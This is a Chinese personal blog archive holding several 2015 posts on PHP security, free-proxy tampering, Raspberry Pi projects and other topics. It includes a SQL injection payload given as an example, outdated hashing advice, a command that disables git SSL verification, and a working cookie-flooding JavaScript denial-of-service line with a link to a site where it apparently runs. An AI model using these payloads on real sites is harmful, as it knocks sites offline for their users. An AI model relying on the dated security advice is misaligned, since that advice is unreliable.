夏浪 越南 越南一海湾名 5-1 Nakri 娜基莉 柬埔寨 一种花 5-2 Fengshen 风神 中国 神话中的风之神 5-3 Kalmaegi 海鸥 朝鲜 一种海鸟 5-4 Fung-wong 凤凰 中国香港 山峰名 5-5 Kammuri 北冕 日本 北冕星座 5-6 Phanfone 巴蓬 老挝 动物 5-7 Vongfong 黄蜂 澳门 一类昆虫 5-8 Rusa 鹿莎 马来西亚 鹿 5-9 Sinlaku 森拉克 密克罗尼西亚 传说中的Kosrae女神 5-10 Hagupit 黑格比 菲律宾 鞭子 5-11 Changmi 蔷薇 韩国 花名 5-12 Megkhla 米克拉 泰国 雷天使 5-13 Higos 海高斯 美国 无花果(Chamarro语) 5-14 Bavi 巴威 越南 越南北部一山名 6-1 Maysak 美莎克 柬埔寨 一种树 6-2 Haishen 海神 中国 神话中的大海之神 6-3 Pongsona 凤仙 朝鲜 一种美丽的花 6-4 Yanyan 欣欣 中国香港 女孩儿名 6-5 Kujira 鲸鱼 日本 鲸鱼座 6-6 Chan-hom 灿鸿 老挝 一种树 6-7 Linfa 莲花 澳门 一种花 6-8 Nangka 浪卡 马来西亚 一种水果 6-9 Soudelor 苏迪罗 密克罗尼西亚 传说中的Pohnpei 酋长 6-10 Imbudo 伊布都 菲律宾 漏斗 6-11 Koni 天鹅 韩国 一种鸟 6-12 Hanuman 翰文 泰国 有趣的猴子 6-13 Etau 艾涛 美国 风暴云(Palauan语) 6-14 Vamco 环高 越南 越南南部一河流 7-1 Krovanh 科罗旺 柬埔寨 一种树 7-2 Dujuan 杜鹃 中国 一种花 7-3 Maemi 鸣蝉 朝鲜 一种蝉 7-4 Choi-wan 彩云 中国香港 天上的云彩 7-5 Koppu 巨爵 日本 巨爵星座 7-6 Ketsana 凯萨娜 老挝 一种树 7-7 Parma 芭玛 澳门 澳门的一种烹调风格 7-8 Melor 茉莉 马来西亚 一种花 7-9 Nepartak 尼伯特 密克罗尼西亚 著名的勇士(Kosrae语) 7-10 Lupit 卢碧 菲律宾 残酷 7-11 Sudal 苏特 韩国 水獭 7-12 Nida 妮妲 泰国 女士名字 7-13 Omais 奥麦斯 美国 漫游(Palauan语) 7-14 Conson 康森 越南 古迹 8-1 Chanthu 灿都 柬埔寨 一种花 8-2 Dianmu 电母 中国 神话中的雷电之神 8-3 Mindule 蒲公英 朝鲜 一种小黄花 8-4 Tingting 婷婷 中国香港 女孩儿名 8-5 Kompasu 圆规 日本 圆规星座 8-6 Namtheun 南川 老挝 河 8-7 Malou 玛瑙 澳门 8-8 Meranti 莫兰蒂 马来西亚 一种树 8-9 Rananim 云娜 密克罗尼西亚 喂,你好(Chuukese语) 8-10 Malakas 马勒卡 菲律宾 强壮, 有力 8-11 Megi 鲇鱼 韩国 鱼 8-12 Chaba 暹芭 泰国 热带花 8-13 Kodo 库都 美国 云(Marshalese语) 8-14 Songda 桑达 越南 越南西北部一河流 9-1 Sarika 莎莉嘉 柬埔寨 雀类鸟 9-2 Haima 海马 中国 一种鱼 9-3 Meari 米雷 朝鲜 回波 9-4 Ma-on 马鞍 中国香港 山峰名 9-5 Tokage 蝎虎 日本 蝎虎星座 9-6 Nock-ten 洛坦 老挝 鸟 9-7 Muifa 梅花 澳门 一种花 9-8 Merbok 苗柏 马来西亚 一种鸟 9-9 Nanmadol 南玛都 密克罗尼西亚 著名的Pohnpei 废墟 9-10 Talas 塔拉斯 菲律宾 锐利 9-11 Noru 奥鹿 韩国 狍鹿 9-12 Kularb 玫瑰 泰国 一种花 9-13 Roke 洛克 美国 男子名(Chamarro语) 9-14 Sonca 桑卡 越南 一种会唱歌的鸟 10-1 Nesat 纳沙 柬埔寨 渔夫 10-2 Haitang 海棠 中国 花 10-3 Nalgae 尼格 朝鲜 有生气,自由翱翔 10-4 Banyan 榕树 中国香港 一种树 10-5 Washi 天鹰 日本 天鹰星座 10-6 Matsa 麦莎 老挝 女人鱼 10-7 Sanvu 珊瑚 澳门 一种水生物 10-8 Mawar 玛娃 马来西亚 玫瑰花 10-9 Guchol 古超 密克罗尼西亚 一种香料(调味品)(Yapese语) 10-10 Talim 泰利 菲律宾 明显的边缘 10-11 Nabi 彩蝶 韩国 蝴蝶 10-12 Khanun 卡努 泰国 泰国水果 10-13 Vicente 韦森特 美国 女士名(Chamarro语) 10-14 Saola 苏拉 越南 越南最近发现的一种动物 --- ## 除了股票,我们还有诗和远方 Date: 2015-07-07 URL: https://blog.wo.ai/archives/1003 Categories: Life [![pic2](/wp-content/uploads/2015/07/pic2-300x200.jpg)](/wp-content/uploads/2015/07/pic2.jpg) [![pic3](/wp-content/uploads/2015/07/pic3-300x200.jpg)](/wp-content/uploads/2015/07/pic3.jpg) [![pic1](/wp-content/uploads/2015/07/pic1-300x187.jpg)](/wp-content/uploads/2015/07/pic1.jpg) 2015/7/15补:第二幅图拍摄于2011年毕业西线游路上,当时路过比较急,没怎么看内容,今天google后发现还是有些意思,淘金时代很多开拓者倒在这个路上, Grave of the Unknown Prospector On To The Golden Hills — RIP — On this site is the grave of the unknown prospector. A reminder of the great sacrifices made by our ancestors, who explored and settled the western frontier, and especially to the memory of each and all of the pioneers of Mono County, whose resting place is known only to God. May they rest in peace. Erected 2003 by E Clampus Vitus, Bodie Chapter No. 64. Location. 37° 53.2′ N, 119° 5.403′ W. Marker is near Lee Vining, California, in Mono County. Marker is at the intersection of State Highway 120 and State Highway 395/120 on State Highway 120. Click for map. The marker is approximately 5 miles south of Lee Vining. Marker is in this post office area: Lee Vining CA 93541, United States of America. 原链接:http://bo.tactical.digital/Marker.asp?Marker=49976 或者 http://www.hmdb.org/Marker.asp?Marker=49976 还有http://www.placesearth.com/usa/california/mono/historic/historic0.shtml --- ## PHP开发安全问题总结 Date: 2015-07-02 URL: https://blog.wo.ai/archives/998 Categories: Uncategorized php给了开发者极大的灵活性,但是这也为安全问题带来了潜在的隐患,近期需要总结一下以往的问题,在这里借翻译一篇文章同时加上自己开发的一些感触总结一下。 # 简介 当开发一个互联网服务的时候,必须时刻牢记安全观念,并在开发的代码中体现。PHP脚本语言对安全问题并不关心,特别是对大多数没有经验的开发者来说。每当你讲任何涉及到钱财事务等交易问题时,需要特别注意安全问题的考虑,例如开发一个论坛或者是一个购物车等。 # 安全保护一般性要点 * 不相信表单 对于一般的Javascript前台验证,由于无法得知用户的行为,例如关闭了浏览器的javascript引擎,这样通过POST恶意数据到服务器。需要在服务器端进行验证,对每个php脚本验证传递到的数据,防止XSS攻击和SQL注入 * 不相信用户 要假设你的网站接收的每一条数据都是存在恶意代码的,存在隐藏的威胁,要对每一条数据都进行清理 * 关闭全局变量 在php.ini文件中进行以下配置: register_globals = Off 如果这个配置选项打开之后,会出现很大的安全隐患。例如有一个process.php的脚本文件,会将接收到的数据插入到数据库,接收用户输入数据的表单可能如下: 这样,当提交数据到process.php之后,php会注册一个$username变量,将这个变量数据提交到process.php,同时对于任何POST或GET请求参数,都会设置这样的变量。如果不是显示进行初始化那么就会出现下面的问题: 此处,假设authenticated_user函数就是判断$authorized变量的值,如果开启了register_globals配置,那么任何用户都可以发送一个请求,来设置$authorized变量的值为任意值从而就能绕过这个验证。 所有的这些提交数据都应该通过PHP预定义内置的全局数组来获取,包括$_POST、$_GET、$_FILES、$_SERVER、$_REQUEST等,其中$_REQUEST是一个$_GET/$_POST/$_COOKIE三个数组的联合变量,默认的顺序是$_COOKIE、$_POST、$_GET。 * 推荐的安全配置选项 error_reporting设置为Off:不要暴露错误信息给用户,开发的时候可以设置为ON safe_mode设置为Off register_globals设置为Off 将以下函数禁用:system、exec、passthru、shell_exec、proc_open、popen open_basedir设置为 /tmp ,这样可以让session信息有存储权限,同时设置单独的网站根目录 expose_php设置为Off allow_url_fopen设置为Off allow_url_include设置为Off # SQL注入攻击 对于操作数据库的SQL语句,需要特别注意安全性,因为用户可能输入特定语句使得原有的SQL语句改变了功能。类似下面的例子: $sql = "select * from pinfo where product = '$product'"; 此时如果用户输入的$product参数为: 39'; DROP pinfo; SELECT 'FOO 那么最终SQL语句就变成了如下的样子: select product from pinfo where product = '39'; DROP pinfo; SELECT 'FOO' 这样就会变成三条SQL语句,会造成pinfo表被删除,这样会造成严重的后果。 这个问题可以简单的使用PHP的内置函数解决: $sql = 'Select * from pinfo where product = '"' mysql_real_escape_string($product) . '"'; 防止SQL注入攻击需要做好两件事: 对输入的参数总是进行类型验证 对单引号、双引号、反引号等特殊字符总是使用mysql_real_escape_string函数进行转义 但是,这里根据开发经验,不要开启php的Magic Quotes,这个特性在php6中已经废除,总是自己在需要的时候进行转义。 # 防止基本的XSS攻击 XSS攻击不像其他攻击,这种攻击在客户端进行,最基本的XSS工具就是防止一段javascript脚本在用户待提交的表单页面,将用户提交的数据和cookie偷取过来。 XSS工具比SQL注入更加难以防护,各大公司网站都被XSS攻击过,虽然这种攻击与php语言无关,但可以使用php来筛选用户数据达到保护用户数据的目的,这里主要使用的是对用户的数据进行过滤,一般过滤掉HTML标签,特别是a标签。下面是一个普通的过滤方法: function transform_HTML($string, $length = null) { // Helps prevent XSS attacks // Remove dead space. $string = trim($string); // Prevent potential Unicode codec problems. $string = utf8_decode($string); // HTMLize HTML-specific characters. $string = htmlentities($string, ENT_NOQUOTES); $string = str_replace("#", "#", $string); $string = str_replace("%", "%", $string); $length = intval($length); if ($length > 0) { $string = substr($string, 0, $length); } return $string; } 这个函数将HTML的特殊字符转换为了HTML实体,浏览器在渲染这段文本的时候以纯文本形式显示。如bold会被显示为: <STRONG>BoldText</STRONG> 上述函数的核心就是htmlentities函数,这个函数将html特殊标签转换为html实体字符,这样可以过滤大部分的XSS攻击。 但是对于有经验的XSS攻击者,有更加巧妙的办法进行攻击:将他们的恶意代码使用十六进制或者utf-8编码,而不是普通的ASCII文本,例如可以使用下面的方式进行: 这样浏览器渲染的结果其实是: 这样就达到了攻击的目的。为了防止这种情况,需要在transform_HTML函数的基础上再将#和%转换为他们对应的实体符号,同时加上了$length参数来限制提交的数据的最大长度。 # 使用SafeHTML防止XSS攻击 上述关于XSS攻击的防护非常简单,但是不包含用户的所有标记,同时有上百种绕过过滤函数提交javascript代码的方法,也没有办法能完全阻止这个情况。 目前,没有一个单一的脚本能保证不被攻击突破,但是总有相对来说防护程度更好的。一共有两个安全防护的方式:白名单和黑名单。其中白名单更加简单和有效。 一种白名单解决方案就是SafeHTML,它足够智能能够识别有效的HTML,然后就可以去除任何危险的标签。这个需要基于HTMLSax包来进行解析。 安装使用SafeHTML的方法: 1、前往[http://pixel-apes.com/safehtml/?page=safehtml ](http://pixel-apes.com/safehtml/?page=safehtml)下载最新的SafeHTML 2、将文件放入服务器的classes 目录,这个目录包含所有的SafeHTML和HTMLSax库 3、在自己的脚本中包含SafeHTML类文件 4、建立一个SafeHTML对象 5、使用parse方法进行过滤 alert('XSS Attack')"; // Create a safehtml object. $safehtml = new safehtml(); // Parse and sanitize the data. $safe_data = $safehtml->parse($data); // Display result. echo 'The sanitized data is
' . $safe_data; ?> SafeHTML并不能完全防止XSS攻击,只是一个相对复杂的脚本来检验的方式。 # 使用单向HASH加密方式来保护数据 单向hash加密保证对每个用户的密码都是唯一的,而且不能被破译的,只有最终用户知道密码,系统也是不知道原始密码的。这样的一个好处是在系统被攻击后攻击者也无法知道原始密码数据。 加密和Hash是不同的两个过程。与加密不同,Hash是无法被解密的,是单向的;同时两个不同的字符串可能会得到同一个hash值,并不能保证hash值的唯一性。 MD5函数处理过的hash值基本不能被破解,但是总是有可能性的,而且网上也有MD5的hash字典。 使用mcrypt加密数据 MD5 hash函数可以在可读的表单中显示数据,但是对于存储用户的信用卡信息的时候,需要进行加密处理后存储,并且需要之后进行解密。 最好的方法是使用mcrypt模块,这个模块包含了超过30中加密方式来保证只有加密者才能解密数据。 mcrypt函数需要以下信息: 1、待加密数据 2、用来加密和解密数据的key 3、用户选择的加密数据的特定算法(cipher:如 `MCRYPT_TWOFISH192`,MCRYPT_SERPENT_256, `MCRYPT_RC2`, `MCRYPT_DES`, and `MCRYPT_LOKI97`) 4、用来加密的模式 5、加密的种子,用来起始加密过程的数据,是一个额外的二进制数据用来初始化加密算法 6、加密key和种子的长度,使用mcrypt_get_key_size函数和mcrypt_get_block_size函数可以获取 如果数据和key都被盗取,那么攻击者可以遍历ciphers寻找开行的方式即可,因此我们需要将加密的key进行MD5一次后保证安全性。同时由于mcrypt函数返回的加密数据是一个二进制数据,这样保存到数据库字段中会引起其他错误,使用了base64encode将这些数据转换为了十六进制数方便保存。 参考文献: ### 相关文章 * [创建安全PHP应用程序的实用建议](http://blog.jobbole.com/23559/) * [EvaCloudImage:基于URL生成缩略图的轻量级PHP库](http://blog.jobbole.com/25276/) * [10个实用的PHP代码片段推荐](http://blog.jobbole.com/12371/) * [10个免费的PHP编辑器/开发工具](http://blog.jobbole.com/1350/) * [浅谈PHP代码设计结构](http://blog.jobbole.com/19262/) * [PHP中该怎样防止SQL注入?](http://blog.jobbole.com/67875/) * [基于 ini 配置文件实现 PHP 多维数组数据的按行存储和读取](http://blog.jobbole.com/87960/) * [PHP设计模式漫谈之迭代器模式](http://blog.jobbole.com/87795/) * [PHP开发者应了解的24个库](http://blog.jobbole.com/54201/) * [PHP超时处理全面总结](http://blog.jobbole.com/25010/) [PHP开发安全问题总结](http://blog.jobbole.com/87956/),首发于[博客 – 伯乐在线](http://blog.jobbole.com)。 --- ## 分析了443个免费代理 其中只有21%没有黑幕 那么剩下的79%呢 Date: 2015-06-26 URL: https://blog.wo.ai/archives/997 Categories: Uncategorized 我的web服务-[Proxy Checker](https://proxycheck.haschek.at/)现在正式上线了!你可以使用它来测试代理服务器的安全性。源代码将会在稍后公布出来。 由于我于2013年所发表的文章《[为什么免费的代理会是免费的?](https://blog.haschek.at/post/fd9bc)》在Reddit网上收到了广泛的好评,所以我决定我将继续发表一篇相关文章。这一次,我将会尝试寻找一种使用了我在文章中所描述技术的代理服务。 所以,我写了一个非常简易的脚本(实际上是一个php函数),这个脚本会从不同的地方调用各种Javascript脚本文件,并且通过这些文件来检查修改过的内容。 如果你对代码不感兴趣,你可以跳转至扫描部分。 我所说的“非常简易”,是真的非常简易,因为下面的代码就是整个函数: function scanProxy($proxy,$url,$socks=true,$timeout=10) { $ch = curl_init($url); $headers["User-Agent"] = "Proxyscanner/1.0"; curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_HEADER, 0); //we don't need headers in our output curl_setopt($ch, CURLOPT_HTTPPROXYTUNNEL, 0); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT ,$timeout); curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //return output as string $proxytype = ($socks?CURLPROXY_SOCKS5:CURLPROXY_HTTP); //socks or http proxy? if($proxy) { curl_setopt($ch, CURLOPT_PROXY, $proxy); curl_setopt($ch, CURLOPT_PROXYTYPE, $proxytype); } $out = curl_exec($ch); curl_close($ch); return trim($out); } 如果你需要查看我在扫描时所使用的完整脚本文件,你可以点击这里获取。我没有为大家提供一个代理服务的列表,但是获得这样的一个列表并不是什么难事。 我最近正在开发一个开源的web端服务,该服务名为Proxy Check,它正是基于这个函数而开发的。在网站上,你可以测试你在网上所找到的代理。我计划过几天将这个服务上线。 如果需要测试代理服务,你仅仅需要将代理的文件/脚本/图片/页面等数据的URL地址递交上去,然后它将会把测试数据返回给你。 下面是一个简单的使用示例: //requesting a JS file from this blog $proxy_data=scanProxy('127.0.0.1:9050','https://blog.haschek.at/js/blog.js'); //requesting reference data so we can check if something is altered $reference_data=scanProxy(false,'https://blog.haschek.at/js/blog.js'); if(($proxy_data!=$reference_data) && $reference_data) //if the data is different but the proxy has sent something echo "[!] Proxy modified the content!\n"; else if(!$reference_data) echo "[-] Proxy is down\n"; else echo "[+] Proxy did not modify the content\n"; 你可以通过使用这个函数,来完成各种各样的分析和测试 * 你可以通过访问网站来查看代理是否隐藏了你的IP地址,该网站会显示出你的IP地址,并且你可以通过查询相关参考数据来确定这个IP地址是否与你的公共IP地址相同。 * 检查代理是否使用了HTTPS隧道通信。如果没有使用,那么可能是因为服务器的所有者只需要得到明文信息,以便于他们从你的通信信息中提取出相关的数据。 * 检测代理是否向静态网站中添加了任何的数据信息(例如:广告) 让我们来对443个免费代理进行检测 我从各种地方收集到了大量的代理,但我通过Google搜索发现,所有的这些代理都指向了某些固定站点。 我们到底需要检测什么? * 是否允许使用HTTPS? * JS脚本是否被修改? * 静态网站页面内容是否被修改? * 代理会隐藏我的IP地址吗? 检测结果 **测试 结果** 测试数量 443(100%) 线上 199(44.9%) 线下 244(55.1%) 未使用HTTPS 157(79%) JS文件被修改 17(8.5%) HTML页面被修改 33(16.6%) 没有隐藏IP地址 0(0%) 网页内容没有修改 149(75%) 所以,75%的代理都是安全的,对吗? 代理没有修改你的数据内容,并不意味着它就是安全的。如果你想要安全地使用一个免费代理,唯一的方法就是使用支持HTTPS的代理,并且只访问强制使用HTTPS的网站。但是,目前仅有21%的代理支持HTTPS通信。 **结果** 网上免费的代理服务器往往是离线的,这并不令人惊讶,但是我并不希望这么多的代理服务器都将HTTPS通信禁止了。他们禁止HTTPS通信是有原因的,因为他们想要用户去使用HTTP进行通信,这样他们便可以分析你的通讯信息,并且窃取你的登录信息了。 在上述的199(8.5%)个代理里面,仅有17个代理修改了JS脚本,而且其中大多数的代理是为了向客户页面注入广告。但是其中有两个网站的修改信息却是错误数据或者网页过滤器的警告信息。 有33个代理服务器(16.6%)修改了静态HTML网页信息并且 注入了广告。其中,大多数的代理服务器在脚本结束标签之前注入了下列的代码: `
` 这绝对是恶意广告软件,而且还有可能会导致cookie被窃取。我并没有对这些代码进行进一步的研究,但是如果你想要对它们进行研究,那么当你有任何发现的时候,请你告知我。 其他代理服务的广告注入则显得更加的隐蔽。他们在页面头部插入了一个脚本标签,如下所示: `` 在这里,有趣的事情就是这些代码看似指向一个本地的JS脚本文件。当浏览器通过代理请求调用这个文件的时候,代理会劫持这个请求,并且以受感染的JS文件进行回应。正如其他的链接一样,这并不是一个跨域JS链接,这样做非常的聪明。 如果你依旧认为你必须使用这些免费的代理服务,那么请你尝试使用支持HTTPS通信的代理服务,并且尽量只浏览那些安全性能够得到保障的网站。 ### 相关文章 * [DDoS攻防战(二):CC攻击工具实现与防御理论](http://blog.jobbole.com/72928/) * [几种极其隐蔽的XSS注入的防护](http://blog.jobbole.com/26064/) * [我是如何反编译D-Link路由器固件程序并发现其后门](http://blog.jobbole.com/49959/) * [大型网站的 HTTPS 实践(4):协议层以外的实践](http://blog.jobbole.com/86670/) * [我是如何在腾达路由器固件程序上发现漏洞的](http://blog.jobbole.com/52181/) * [Linux鲜为人知的安全漏洞:不要将输出内容管道给你的shell](http://blog.jobbole.com/63818/) * [通过 Facebook Notes 可以 DDOS 攻击任何网站](http://blog.jobbole.com/69324/) * [图解HTTPS](http://blog.jobbole.com/1309/) * [孟鸿:对话携程漏洞曝光白帽黑客](http://blog.jobbole.com/63840/) * [虚假来电:HTML5振动API的恶意使用](http://blog.jobbole.com/55499/) [分析了443个免费代理 其中只有21%没有黑幕 那么剩下的79%呢](http://blog.jobbole.com/87822/),首发于[博客 – 伯乐在线](http://blog.jobbole.com)。 --- ## 在树莓派上的XBMC增加一个静音按钮(mute button for XBMC on Raspberry Pi) Date: 2015-06-25 URL: https://blog.wo.ai/archives/990 Categories: Raspberry Pi, Technology 也许有人会问有了手机控制或者红外控制为什么还要有一个物理的静音按钮呢?设想一下以下场景: > 当你在电视上看大片看得正爽的时候,来了个电话,是到手机上找app来控制呢,还是手忙脚乱的找遥控器来静音,或者直接到电视机边上按个静音键方便呢? 正是因为如此,才有了这个创意。 基本思路:一个简单的轻触式按钮连接到Pi的gpio口,在Pi上运行一个python程序,当按钮按下时,给XBMC发送静音指令。 附加功能:每按一次,LED闪一下 扩展功能:不满足于静音功能的,还可以多增加几个按钮来完成其他的功能,比如播放、暂停、快进、发送邮件、甚至求救报警功能。 开始动手 原料: 树莓派 1个(这个你肯定有了吧,没有就入一个吧) 轻触式按钮 1个 LED 1个 3k3电阻 2个 洞洞板、连接线、面包板之类,看自己情况使用。 步骤1: 焊洞洞板,示意电路图如下: [![dianlu](/wp-content/uploads/2015/06/dianlu.png)](/wp-content/uploads/2015/06/dianlu.png) 为了防止LED以及GPIO口电流太大,加了限流电阻。 [![board1](/wp-content/uploads/2015/06/board1-240x300.png)](/wp-content/uploads/2015/06/board1.png) 实际焊接图,请忽略左边五个按钮和左边的电阻,这是我留着备用的。 按照电路图连接到Pi上。 步骤2,安装python的gpio库,如果已经安装了,请跳过此步 cd /tmp `cd` `gpio` `wget https:``//pypi``.python.org``/packages/source/R/RPi``.GPIO``/RPi``.GPIO-0.5.7.``tar``.gz` `tar` `xvzf RPi.GPIO-*.``tar``.gz` `cd` `RPi.GPIO-*/` `sudo` `python setup.py ``install` 如果安装的时候出现错误: source/py_gpio.c:23:20: fatal error: Python.h: No such file or directory 这是因为缺少Python.h文件,没安装python编译环境: sudo apt-get install python-dev 步骤3:开始我们的python程序吧 #!/user/bin/env python import RPi.GPIO as GPIO import time import urllib import urllib2 import json def mute(): url=’http://你的Pi的ip地址:8080/jsonrpc’ values = {“jsonrpc”:”2.0″,”method”:”Application.SetMute”,”id”:1,”params”:{“mute”:”toggle”}} jdata = json.dumps(values) req = urllib2.Request(url, jdata) req.add_header(‘Content-Type’,’application/json’) response = urllib2.urlopen(req) return response.read() GPIO.setmode(GPIO.BOARD) GPIO.setup(11,GPIO.OUT) GPIO.setup(12,GPIO.IN) while True: in_value= GPIO.input(12) if in_value ==False: mute(); GPIO.output(11,False) time.sleep(0.5) GPIO.output(11,True) while in_value == False: in_value = GPIO.input(12) 然后运行python key.py,按下按钮看看屏幕右上角已经有了静音标志了?再按一下,又消失了。 还可以在这个代码基础上修改做别的操作,希望这个能够起到抛砖引玉的作用。 --- ## [转]汉字简化十大错,你知道吗? Date: 2015-06-24 URL: https://blog.wo.ai/archives/978 Categories: Chinese Poem, Poem & Reading 十【使汉字的可识别性大大降低】 汉字简化以後,使原来差别很大的字变得非常相像,导致经常被人搞错。 如:鳳(凤)和風(风)厲(厉)和歷(历) 特别是“凤” 九【有些字笔画本不多,完全没必要简化】 如:減(减)涼(凉)於(于)時(时)國(国) 八【简化后出现表音错误】 如:鄰(邻)賓(宾) 韵母本是in,但简化字是用韵母为ing的字作偏旁,容易让人读错。 七【毫无道理地将汉字进行切割,音形皆损】 如:掛(挂)蠍(蝎)槨(椁)櫬(榇) 六【同音字合并,字义混乱】 汉字本来是有精确分工的,非要人为地让一个字去承担本不该它应该具有的含义。如: 后:前后皇后原本为前後皇后 发:发现头发原本为發現頭髮 面:面部面粉原本为面部麵粉 板:木板老板原本为木板老闆 五【合并偏旁,字不达意】 像“貓(猫)和“豬(猪)”简化以后都成了狗类了,实在是太滑稽了。 四【形体笔画比较丑陋】 许多汉字原来是非常方正美观的,简化以后字形变得极为难看。如: 讠(言)钅(金)车(車)龙(龍)汉(漢) 刘(劉)华(華)长(長)拣(揀)东(東) 三【割裂了整个汉字体系】 许多汉字是自成体系的,常用字简化后割裂了与非常用字的联系,致使从小学简化字的人一辈子也记不住一些使用频率较低的字。如:会写 “扑(撲)” 不会写 “璞”和“蹼”,会写 “还(還)”和“环(環)”不会写 “寰”和“鬟”。其他还有: 仅(僅)谨瑾盘(盤)磐牺(犧)曦 彻(徹)澈撤蜡(蠟)猎(獵)鬣 歼(殲)纤(纖)谶伤(傷)殇(殤)觞(觴) 声(聲)馨磬罄梦(夢)懵甍 二【无理简化,莫名其妙】 许多汉字的部首被毫无道理地用“又”字和叉代替,使优美的汉字变得不伦不类,莫名其妙。如: 鳳(凤)風(风)漢(汉)僅(仅)難(难) 權(权)歡(欢)聖(圣)對(对)樹(树) 一【失去了表音功能】 许多汉字原来是形声字,简化后失去了表音功能,而这正是汉字有别于其他文化的特点。如: 際(际)價(价)標(标)僅(仅)歡(欢) 隊(队)屬(属)劉(刘)燭(烛)敵(敌) 原文地址:http://toutiao.com/a4506608589/ --- ## [翻译]通过树莓派发送短信Send SMS Messages from Raspberry Pi Date: 2015-06-23 URL: https://blog.wo.ai/archives/986 Categories: Raspberry Pi, Technology 本站首发,转载请注明作者及引用网址 原文地址: https://www.raspberrypi.org/forums/viewtopic.php?f=29&t=69286&sid=89b99af621144e400c588b4ef6cad708 写这篇文章背景故事很简单。我有一个树莓派,花了35刀的一个超小的arm计算机。我用它运行Nagios来监控我的服务器(因为过段时间我要出去旅行)。我希望当我的服务器有警报信息的时候,它会给我发一条短信,而我实在不原意在花钱买个SMS网关,太奢侈了,实际上email就可以了,但我更喜欢短信。然后我就开始找解决方案。 我在githut上找到一个允许我通过简单的python脚本来发送短信,地址是https://github.com/korylprince/pygvoicelib。下面的步骤将讲述如何如何通过pi来发送短信。步骤1:确保你的PI已经安装了系统并且有internet连接 步骤2:注册一个google voice帐号,这里需要一个gmail的帐号。 步骤3:在你的google帐号里面允许2步验证,地址是https://accounts.google.com/b/0/IssuedAuthSubTokens 步骤4:创建一个指定应用的密码,打开https://accounts.google.com/b/0/IssuedAuthSubTokens,移到最下面,在name框里填上Raspberry Pi(或者任何你想要的名字来标示你的设备),然后点击生成密码。 你将会得到一个一次性的密码 步骤5:登陆到你的Pi打开命令行或者通过putty连接到SSH 然后进入到你的home目录,比如我的是/home/pi `cd /home/pi ` 步骤6: 从github克隆所有代码 首先运行下面的指令来阻止ssl错误 `export GIT_SSL_NO_VERIFY=1 ` 然后运行下面的指令来克隆 `git clone https://github.com/korylprince/pygvoicelib.git ` 步骤7:让Pi得到google的授权 cd到刚创建的pygvoicelib目录 运行以下指令: `python get_auth.py ` 将会提示你输入你gmail帐号和你在第四步得到的的应用的密码。在你输入这些信息以后,你会看到很多参数显示在终端上。记住以下参数,你在后面的步骤里将会用到 username apppass auth_token rnr_se 步骤8:创建一个脚本来发送短信 运行下面的指令,你也可以用nano来编辑 `vi text.py ` 将下列的代码贴到你创建的文件里面 `#!/usr/bin/python import pygvoicelib number = raw_input(‘number:’) txtmsg = raw_input(‘message:’) client = pygvoicelib.GoogleVoice(username,apppass,auth_token,rnr_se) client.sms(number,txtmsg) ` 用你在第7步创建的的username,apppass,auth_token,和rnr_se来替换这个文件中的参数 示例Example: `#!/usr/bin/python import pygvoicelib number = raw_input(‘number:’) txtmsg = raw_input(‘message:’) client = pygvoicelib.GoogleVoice(‘name@gmail.com’,'asdfahrwsthjtrh’,’4k3EozF_Qmrg3tD2_m56nQtFHCVSaTdUxb7HvcaN6g3PV929VH0eH4GGVOVpbVK2O6EaGFzMDYA6PhPjaEHr0ZGjO1GQN3RGhQLXqePWfglbXnA2n7XpUophOk5qztQyv2fYM7eYgtVCYeO6txTqbDQAAANsAAABZ7d0GTL2pJsUauPkH4Z3cpbJFqjfLZYfhok1b11pIMDnEOypZgIcOVdPEt8jEMx7oY9hHJeJoDQZYndDJDu8uoDbDWgxl87GMy990snKWR8iy8VIB17769eVWboa3224U8DLZLUWMpP0d4hfsDK5MQ’,'L6tph126BjmNjDcfTZGaWYeb+sk=’) client.sms(number,txtmsg) ` 步骤9:发送短信 运行以下的指令 `python text.py ` 它将提示你输入电话号码以及短信内容 步骤10:庆祝,打开一瓶啤酒然后好好的享受吧。 我另外也在我的blog写了这个操作步骤:[http://citycorpse.com](http://citycorpse.com/) 精彩回复: by **[default_user8](https://www.raspberrypi.org/forums/memberlist.php?mode=viewprofile&u=90598)** » Wed Feb 12, 2014 7:10 pm Try sms via email key here is a list by provider Provider Format Sprint [phonenumber@messaging.sprintpcs.com](mailto:phonenumber@messaging.sprintpcs.com) Verizon [phonenumber@vtext.com](mailto:phonenumber@vtext.com) T-Mobile [phonenumber@tmomail.net](mailto:phonenumber@tmomail.net) AT&T [phonenumber@txt.att.net](mailto:phonenumber@txt.att.net) AIM +1phonenumber by **[drgeoff](https://www.raspberrypi.org/forums/memberlist.php?mode=viewprofile&u=9187)** » Thu Feb 13, 2014 10:16 am > DougieLawson wrote:I don’t think using Google Voice to send SMS messages is available outside the US & Canada. 我觉得这个除了美国和加拿大以外的地方都用不了 For 99% of the population of USA and Canada, that is the whole world. ![:lol:](https://www.raspberrypi.org/forums/images/smilies/icon_lol.gif) 对于美国和加拿大的99%人口来说,这就是整个世界了。 老美的傲慢和自豪感觉得他们的世界就是整个世界了,当然也是调侃的语气啦,至少人家分享的精神就很好。 至于说google voice不能在天朝用的问题,只能通过翻墙来解决了。可以在手机上装一个google voice的客户端,接受推送还是可以的。另外一个解决方案就是用飞信了,注册以后,发送邮件到13xxx@139.com,就可以收到短信了,完全免费哦,不过只能发送到移动号码,电信和联通的貌似也有类似功能,但是没有用过,可以试验一下。 --- ## 超大 Cookie 拒绝服务攻击 Date: 2015-06-04 URL: https://blog.wo.ai/archives/974 Categories: Uncategorized 有没有想过,如果网站的 Cookie 特别多特别大,会发生什么情况? 不多说,马上来试验一下: for (i = 0; i < 20; i++) document.cookie = i + '=' + 'X'.repeat(2000) 什么,网站居然报错了? ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f0d7f1b6f0_6941baebgw1ess0rvbt24j20l30fejtg.jpg) 众所周知,Cookie 是塞在请求头里的。如果 Cookie 太多,显然整个 HTTP 头也会被撑大。 然而现实中,几乎所有的服务器都会对请求头长度做限制,避免畸形封包消耗服务器资源。 那么有趣的事就来了 —— Cookie 是可以长期储存的,所以只要不过期,对应的站点就一直无法访问! 不信?[点击这里试试](http://www.cnblogs.com/jsapp) (**警告:不会清 Cookie 的用户慎点** ) 为什么会这样!因为博客园是支持自定义装扮的,用户可以嵌入自己的脚本。于是,一旦执行了恶作剧脚本,站点 Cookie 被污染,导致整个网站都无法访问了! ## 